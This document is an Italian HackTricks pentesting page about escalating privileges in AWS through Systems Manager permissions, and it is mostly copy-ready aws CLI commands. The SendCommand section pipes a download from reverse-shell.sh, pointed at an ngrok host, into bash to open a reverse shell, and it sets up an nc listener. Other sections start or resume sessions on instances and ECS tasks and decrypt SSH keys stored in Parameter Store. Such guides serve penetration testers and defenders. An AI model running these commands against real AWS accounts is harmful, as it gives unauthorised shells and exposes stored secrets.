AWS - SSM Privesc

Supporta HackTricks

SSM

Per ulteriori informazioni su SSM controlla:

ssm:SendCommand

Un attaccante con il permesso ssm:SendCommand può eseguire comandi nelle istanze che eseguono l'Amazon SSM Agent e compromettere il ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Nel caso in cui tu stia utilizzando questa tecnica per elevare i privilegi all'interno di un'istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 attaccati a istanze in esecuzione con SSM Agents in esecuzione.

ssm:StartSession

Un attaccante con il permesso ssm:StartSession può avviare una sessione simile a SSH nelle istanze che eseguono l'Amazon SSM Agent e compromettere il Ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents attivi.

Privesc a ECS

Quando i compiti ECS vengono eseguiti con ExecuteCommand abilitato, gli utenti con permessi sufficienti possono utilizzare ecs execute-command per eseguire un comando all'interno del contenitore. Secondo la documentazione, questo avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando “exec” e il contenitore di destinazione con SSM Session Manager. (Plugin SSM Session Manager necessario affinché questo funzioni) Pertanto, gli utenti con ssm:StartSession saranno in grado di ottenere una shell all'interno dei compiti ECS con quell'opzione abilitata semplicemente eseguendo:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impatto Potenziale: Privesc diretto ai ruoli ECSIAM attaccati ai task in esecuzione con ExecuteCommand abilitato.

ssm:ResumeSession

Un attaccante con il permesso ssm:ResumeSession può ri-avviare una sessione simile a SSH in istanze che eseguono l'Amazon SSM Agent con uno stato di sessione SSM disconnesso e compromettere il Ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 attaccati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaccante con i permessi menzionati sarà in grado di elencare i parametri SSM e leggerli in chiaro. In questi parametri puoi frequentemente trovare informazioni sensibili come chiavi SSH o chiavi API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impatto Potenziale: Trovare informazioni sensibili all'interno dei parametri.

ssm:ListCommands

Un attaccante con questo permesso può elencare tutti i comandi inviati e sperare di trovare informazioni sensibili in essi.

aws ssm list-commands

Impatto Potenziale: Trovare informazioni sensibili all'interno delle righe di comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaccante con questi permessi può elencare tutti i comandi inviati e leggere l'output generato sperando di trovare informazioni sensibili in esso.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impatto Potenziale: Trova informazioni sensibili all'interno dell'output delle righe di comando.

Codebuild

Puoi anche utilizzare SSM per accedere a un progetto codebuild in fase di costruzione:

Supporta HackTricks

Last updated